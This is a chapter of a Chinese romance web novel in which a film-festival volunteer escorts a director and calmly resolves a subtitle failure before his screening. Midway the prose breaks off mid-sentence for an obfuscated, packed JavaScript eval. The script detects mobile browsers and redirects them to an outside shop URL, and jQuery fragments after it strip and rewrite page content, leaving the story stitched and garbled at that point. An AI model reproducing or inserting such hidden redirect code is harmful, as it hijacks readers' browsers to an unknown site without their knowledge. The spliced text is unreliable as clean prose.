沈见微回到住处时,已经快三点了。
她住的是电影节给志愿者协调的短租公寓。两室一厅,住了四个学生,客厅里堆满了物料袋、矿泉水和还没来得及整理的胸牌。
室友都已经睡了。
沈见微轻手轻脚进门,把鞋脱在玄关,拿着自己的包回到房间。
早点睡已经不太可能。
她洗完澡出来,头发擦到半干,坐在床边又把第二天的流程看了一遍。确认没有遗漏后,才把手机充上电。
睡前,她想起梁予深在车上说“删掉”时的语气。
冷淡又直接。
脑海里闪过他摘下口罩的那张脸。
沈见微迷迷糊糊地想,这人好像和传闻里差不多。
看着高冷,但人还挺好的。
第二天早上八点,闹钟响起来的时候,她觉得自己刚闭眼没多久。
电影节不会因为任何人和任何事而放慢节奏。
她爬起来洗漱,随手把头发扎起来,套了文化衫,胸前挂上工作证。出门前,她从冰箱里拿了一盒牛奶,边下楼边喝。
林知夏的消息就是这时候发来的。
林知夏:电影节第一天怎么样?
沈见微:昨天凌晨三点睡的。
林知夏:好惨。
林知夏:有看到帅哥吗?
沈见微刚走到地铁口,看到这句,停顿了一下。
她回:有。
林知夏:谁?
沈见微:梁予深。
林知夏秒回。
林知夏:?
林知夏:你电影节福利这么好?
沈见微:我是去接人的,不是去追星。
林知夏:我说什么了吗?
林知夏:那他本人帅吗?
地铁进站,一阵强劲的风从隧道里扑面而来。
沈见微拿着手机,想了想。
沈见微:帅。
林知夏:就一个字?
沈见微:很帅。
林知夏:满意。
沈见微把手机锁屏,跟着人流上了车。
她到电影宫时,主会场已经忙成一团。
昨晚被临时更换的嘉宾接待信息还没同步到所有人手里,有人急匆匆进来问梁予深住哪家酒店,有人问下午展映预留的票在谁的手里,有人问评审休息室咖啡机坏了怎么办。
沈见微刚把东西放下,就被顾南枝叫过去。
“你今天继续跟梁予深那边。”
沈见微:“我?”
“对。”顾南枝把一张最新的流程表递给她,“他助理还在国外,工作室那边的人大概要下午才到。你昨晚和他对过行程,情况你最熟。主办方那边现在只剩下招募来的志愿者,做事都毛毛躁躁的,还是你来我能放心点。”
沈见微很想说点什么。
但顾南枝已经低头接上电话了。
“好,梁导的车到了?我让见微过去。”
沈见微:“……”
她只得拿起东西从内部通道过去接人。
梁予深的车刚在门口停下。
他从车上下来,尽管昨晚刚见过面,但依然让人不由得眼前一亮。
黑色衬衫,深灰色西装外套,没有打领带,头发应该简单整理过。整个人仍然冷淡,但少了红眼航班后的倦意,沈见微想,他昨晚应该休息得还不错。
她走过去。
“梁导,早上好。”
梁予深对她点点头。
“早。”
他自己的工作团队还没来,跟在梁予深身边的是组委会另一个工作人员。那人显然有点紧张,也把握不准时机,拿着嘉宾牌半天没递出去。
沈见微伸手接过来,递给梁予深。
“这是您的嘉宾证,今天进出评审休息室和后台都需要刷这个。”
梁予深接过去。
“谢谢。”
她带他从侧门轻车熟路地进去。
电影宫的白天比夜里要热闹太多。
梁予深一出现,走廊里明显静了一瞬。
沈见微能感觉到旁边有人小声在议论。
“梁予深?”
“他真来了?”
“昨天不是还说不来吗?”
“本人怎么这么帅……”
梁予深像没听见。
沈见微也当没听见。
她把人带到评审休息室,确认饮用水和翻译设备都在,又和工作人员核对下午的动线。
梁予深坐在沙发上,看她一心三用,同时和三个人各说各的,竟然还能游刃有余地接上每一个信息。
“下午两点评审见面从这边过去,四点半展映在三号厅。映后结束后会有媒体在外场,但我们可以走侧边那个内部通道,酒会的车会提前半小时到。”
她语速不慢,条理却很清楚。
思绪难得放空,梁予深忽然想起昨晚在车上,她硬着头皮念找他对流程的样子。
明明困得眼睛都快睁不开,还是把每一个时间点都确认到了。
沈见微转过头时,正好对上他的视线。
她停了一下:“梁导,还有什么需要吗?”
梁予深说:“没有。”
顿了顿,他又说:“辛苦了。”
沈见微已经是第二次听到这句话。
她发现梁予深这个人虽然话少,但该说的话好像都会说。
不热情,但也不失礼。
至少比她这几天见过太多不把工作人员当人的所谓大咖正常得多。
她微笑道:“应该的。”
下午两点,评审见面会准时开始。
沈见微没有跟进去,只是在外面等着。
正好她也可以趁这个时间短暂休息一下。
她靠在走廊墙边,手里拿着对讲机,耳机里时不时传来各个区域的声音。
“三号厅观众入场开始。”
“红毯区媒体补位。”
“闭幕片导演嘉宾到了吗?”
星湾电影节像一台被同时按下几十个按钮的机器。
每个人都在跑。
沈见微被分到这台机器边缘,偶尔觉得自己像一个螺丝钉。
虽然工作很琐碎,可她也不讨厌。
她喜欢电影节。
喜欢放映厅暗下去前那一瞬的安静,喜欢映后见面会观众和主创团队的交流时刻,喜欢陌生人因为同一部电影在门口能自然而然地聊起来。哪怕她现在做的只是接待和对流程的工作,也仍然觉得自己离电影很近。
评审见面结束后,梁予深从会议室里出来。
旁边的策展人程越白和他并肩走着,正在说什么。
程越白是这届新锐单元的策展人,也是业内出了名的眼光毒辣。沈见微之前在白鹭青年影像展见过他一次,对方还挺会关注新人导演的。
两人走近时,她听见程越白笑着说:“我之前发给你的那个学生短片,你看了没有?”
梁予深说:“看了。”
“怎么样?”
“还不错,算有灵气。”
沈见微低头看着手机,没有太在意。
下一秒,场务跑过来,说三号厅放映前设备有点问题。
沈见微立刻警觉抬头:“什么问题?”
“字幕刚才测试的时候卡了一下。”
她看了眼时间。
离展映开始还有二十五分钟。
梁予深的《无人区来信》特别展映,票早就被抢空了,甚至送出去的赠票也不少。从各地过来的观众已经开始排队,如果这时候出问题,整个下午的节奏都会被拖乱,甚至绝对会在网上看到电影节的负面舆论。
沈见微拿起对讲机:“我过去看看。”
她说完才反应过来梁予深还站在旁边。
“梁导,麻烦您先在休息室等一下,我确认完回来。”
梁予深看她:“你会处理放映问题?”
“不会。”沈见微说,“但我知道该去找谁解决。”
主要是这个问题也不得不去解决。
她说完就往三号厅跑。
梁予深看着她的背影。
程越白在旁边笑了一声。
“顾南枝这个学生,挺有意思吧?”
梁予深扯了扯嘴角,没接话。
他只是低头看了眼手里的嘉宾证。
放映厅门口的队伍已经排了里三层外三层,前排的影迷从开场前一个小时就开始等,手里拿着梁予深作品的场刊和电影节纪念票夹。
沈见微赶过去时,先把对讲机声音调小,没让现场观众听见里面乱成一团的沟通内容。
她让一个志愿者去请技术组的负责人,另一个工作人员去联系厅内控场,又请安保把排队的队伍规整一下,先把入口的位置让出来。
队伍里面有人问:“是不是出什么问题了?”
沈见微转过去,微笑着回答堆放:“只是在做映前的最后一次设备确认,请放心。”
“真的?那怎么突然来了这么多人?”
“真的。”她说,“如果需要推迟的话,现场会作提前通知的。但是现在没有接到通知。”
那人有些半信半疑,但还是安静下来。
她只是用正常的音量和人沟通,可她讲话的时候那双眼睛看着对方,不慌张
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17939238|213834||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,也不含糊,反而显得真诚。有时候就是这样,一旦有人情绪起来了,只要一点火星子,就极其容易造成混乱;反而,只要有人能够思路清楚地解释问题,平复情绪,更多的人都是愿意再等一等的。
技术组的负责人很快赶到。
沈见微跟着他一起进了放映室,然后,听着对方劈头盖脸地解释了一堆轨道、编码和播放器版本什么的东西。她其实有一大半内容都听不懂,但她现在很清楚自己的目标导向。
“不好意思打断一下,现在想要确认的就是能重载吗?”
“能。”
“那我的理解是,重载完之后试放前两分钟,如果字幕正常的话我们就开门检票?”
“对的。”
“但如果还是卡顿的话,我们的备用方案是什么?”
负责人没想到她的思路竟然这么清楚,反而被问到。转头打量了她半晌,不由得露出些许赞赏的目光。
沈见微其实也挺为难,她说:“我得知道最坏的情况是什么,到时候如果有问题,才能跟外面解释。”
对方也正色起来,这才说道:“我们还有一份备用盘,但是切换的话需要起码十分钟的时间。”
“好的。”她拿起对讲机,“三号厅先做好延迟入场的准备,如果问起来的话就说为了确保放映的体验,设备还需要做一次最终确认。”
她说完,又觉得自己说话好像越来越像顾南枝了。
这大概是跟导师跟久了的后遗症吧。
不过还好重载之后没有出现其他问题,等字幕重新滚动起来,她站在放映室后面盯着银幕,这才松了一口气。
说不紧张是假的,如果出了问题,不管是谁担责,整个事情都会变得很复杂。
她又多呆了一会儿,需要确保完全没问题才行。
电影开头的雪原在银幕上亮起时,她听见外面的观众已经入场就绪,座椅翻起又落下,细碎的声音像潮水一样涌进来。
那一刻她忽然觉得,电影节里最迷人的地方不只在红毯和奖杯。
还有这些看不见的台前幕后。
一场电影能够按时开场,背后是很多人在解决着各种各样的问题,而那些都是在银幕之外的东西。
沈见微从放映室里出来,正巧碰上梁予深,那人站在走廊的另一端。
他怎么一个人从休息室里出来了?
不过好在影迷都已经入场,没有造成追星的拥堵情况。
只是等她走近,他才问道:“问题解决了?”
“已经解决了。”
梁予深点头。
“那就好。”
他没有感到意外,只是进一步意识到,沈见微的工作能力确实很强。
正式放映开始后,三号厅外终于安静了下来。
沈见微站在门边,听见厅内传来了一段风声的音效。那风声她很熟悉,几乎瞬间可以定位到场景,因为曾经在耳机里听过很多遍。可从大银幕和环绕音响里呈现出来的感觉,又完全不一样,像推开门真的能看见一片雪原。
她不由得在门口停了片刻。
大抵是看她带着工作牌,一位迟到的观众匆匆跑了过来,手里攥着票,压低声音说自己找不到座位。沈见微接过票根,看清座位信息,带着他从侧边进去。厅里很暗,银幕的光照亮了一排排观众的脸,每个人都安静地看着前方。
梁予深的电影很少有让人放松的时候。
哪怕只是开场,也像有人用一根线把所有人的感官都慢慢勒紧了。
沈见微把观众送到座位,才转身出来,见梁予深站在最后一排的阴影里。
他没有坐到给他安排的前排。
银幕的光从他侧脸掠过去,在场景变幻间极短极快,他的眼神落在画面上,神情比平时要更安静。
沈见微忽然福至心灵,对导演来说,放映大概不是把一部完成的作品交给大家评判那么简单。
它更像一次完成后之又从头开始的等待。
等待观众落座,等待某个镜头被看见,等待那些已经拍完很久的人和事情,在另一个空间里重新活过来。
梁予深看了一会儿,才转身往外走。
经过她身边时,他低声说道:“谢谢。”
沈见微愣住。
等她反应过来,梁予深已经走远了。
她站在原地,忽然有种由内而外的轻松感。
走廊尽头有人催她去后台取新的采访台卡,耳机里也传来场务找人的声音。电影节没有给她留太多的时间去发呆。
沈见微把那句谢谢暂时抛之脑后,重新按下对讲机。
“收到,我马上过去。”